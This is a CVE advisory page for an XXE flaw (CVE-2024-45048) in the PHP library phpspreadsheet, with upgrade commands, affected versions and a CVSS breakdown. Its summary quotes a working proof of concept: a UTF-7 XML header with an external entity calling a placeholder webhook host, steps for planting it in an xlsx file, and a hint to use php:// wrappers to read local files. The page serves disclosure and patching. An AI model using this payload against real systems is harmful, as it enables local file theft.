Loading...
Skip to main content

CVE-2024-45048 — XXE in phpoffice/phpspreadsheet — CVE Details

HIGH

XXE in PHPSpreadsheet encoding is returned

Published August 29, 2024Updated March 6, 2025Source: osv

Summary

### Summary Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack) ### Details Check ` $pattern = '/encoding="(.*?)"/';` easy to bypass. Just use a single quote symbol `'`. So payload looks like this: ``` <?xml version="1.0" encoding='UTF-7' standalone="yes"?> +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://example.com/file.dtd"> %xxe;]> ``` If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute. ### PoC 1) Create simple xlsx file 2) Rename xlsx to zip 3) Go to the zip and open the `xl/sharedStrings.xml` file in edit mode. 4) Replace `<?xml version="1.0" encoding="UTF-8" standalone="yes"?>` to ``` <?xml version="1.0" encoding='UTF-7' standalone="yes"?> +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://%webhook%/file.dtd"> %xxe;]> ``` 5) Save `sharedStrings.xml` file and rename zip back to xlsx. 6) Use minimal php code that simply opens this xlsx file: ``` use PhpOffice\PhpSpreadsheet\IOFactory; require __DIR__ . '/vendor/autoload.php'; $spreadsheet = IOFactory::load("file.xlsx"); ``` 7) You will receive the request to your `http://%webhook%/file.dtd` 8) Dont't forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files. ### Impact Read local files ![lfi](https://github.com/PHPOffice/PhpSpreadsheet/assets/95242087/1839cddb-6bb0-486d-8884-9ac485776931)

Advisory Timeline

  • First published August 29, 2024 (774 days ago).
  • Last revised March 6, 2025 — 189 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Composer
Update phpoffice/phpspreadsheet to 1.29.1 or later
composer require "phpoffice/phpspreadsheet:^1.29.1"
Composer
Update phpoffice/phpspreadsheet to 2.2.1 or later
composer require "phpoffice/phpspreadsheet:^2.2.1"
Composer
Update phpoffice/phpspreadsheet to 2.1.1 or later
composer require "phpoffice/phpspreadsheet:^2.1.1"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (4)

Affects 1 ecosystem: packagist (2).

PackageEcosystemAffectedFixed In
phpoffice/phpspreadsheet
packagist
1.0.0, 1.0.0-beta, 1.0.0-beta2, 1.1.0 (+42 more)1.29.1
phpoffice/phpspreadsheet
packagist
2.2.02.2.1
phpoffice/phpspreadsheet
packagist
2.0.0, 2.1.02.1.1
phpoffice/phpexcel
packagist
1.7.9, 1.7.9-rc1, 1.8.0, 1.8.0rc1 (+5 more)Range-based data available

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-611
    XML External Entity (XXE)MITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2024-45048?
XXE in PHPSpreadsheet encoding is returned This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.8/10).
How do I check if my project is affected by CVE-2024-45048?
CVE-2024-45048 affects phpoffice/phpspreadsheet and phpoffice/phpexcel. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2024-45048 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.8

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-ghg6-32f9-2jp7

Related CVEs

  • CVE-2026-45034
    CRITICAL

    PHPSpreadsheet has a patch bypass for CVE-2026-34084

  • CVE-2026-34084
    CRITICAL

    PhpSpreadsheet has SSRF/RCE in IOFactory::load when $filename is user controlled

  • CVE-2026-59932
    HIGH

    PHPSpreadsheet: Gnumeric reader unbounded gzip expansion causes memory exhaustion

  • CVE-2026-59931
    HIGH

    PHPSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist

  • CVE-2026-40902
    HIGH

    PhpSpreadsheet has CPU Denial of Service via Unbounded Row Number in XLSX Row Dimensions

  • CVE-2026-40863
    HIGH

    PhpSpreadsheet has CPU Denial of Service via Unbounded Row Index in SpreadsheetML XML Reader

  • CVE-2026-65954
    HIGH

    PHPCSUtils: Remote code execution via eval() in AbstractArrayDeclarationSniff::getActualArrayKey()

  • CVE-2026-59933
    HIGH

    PHPSpreadsheet: XLS/OLE sector-chain self-loop causes memory exhaustion

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies